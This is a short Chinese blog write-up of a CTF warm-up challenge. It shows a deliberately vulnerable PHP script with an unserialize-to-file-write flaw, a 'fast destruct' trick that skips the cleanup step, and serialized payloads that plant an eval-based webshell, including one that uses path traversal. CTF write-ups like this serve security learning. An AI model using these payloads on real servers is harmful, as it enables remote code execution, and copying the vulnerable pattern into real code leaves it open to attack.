某CTF签到

D哥出的签到题

<?php
show_source(__FILE__);
$dir = './sandbox/'.md5($_SERVER['REMOTE_ADDR']);
echo $dir;
echo "<br>";
is_dir($dir) ?: mkdir($dir);
$line = $_GET['a'];
class B {
    public $content;
    public $filename;
    function __destruct() {
        file_put_contents('/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR']).'/'.$this->filename, $this->content);
    }
}
$a = @unserialize($line);
system('rm -rf '.$dir);
echo "unserialize yyds";

反序列化写入文件,但是在脚本执行最后会删除文件。

原理用 PHP Fast Destruct 产生 fatal error,然后导致执行完反序列化后后面代码停止执行,但是正常执行__destruct()

参考链接用到了很有意思的一个github源:

PHPGGC: PHP Generic Gadget Chains

收录了一些常见的PHP反序列化的POC利用等,在线下应该会比较经常用到。

利用方法:在对象反序列化过程中添加第三个参数,变量名不限,变量值为ado对象,使反序列化产生报错而终止,但是依然执行__destruct()。

wp POC:

O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}

(大声:D哥天下第一CTFer)

可以看见发生报错,echo语句不执行,但是类对象正常销毁,访问可得echo 1。

shell蚁剑拿flag。

这题的非预期解是目录穿越,绕过rm -rf,只要把文件名改成../1.php即可。

O:1:"B":2:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:8:"../1.php";}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇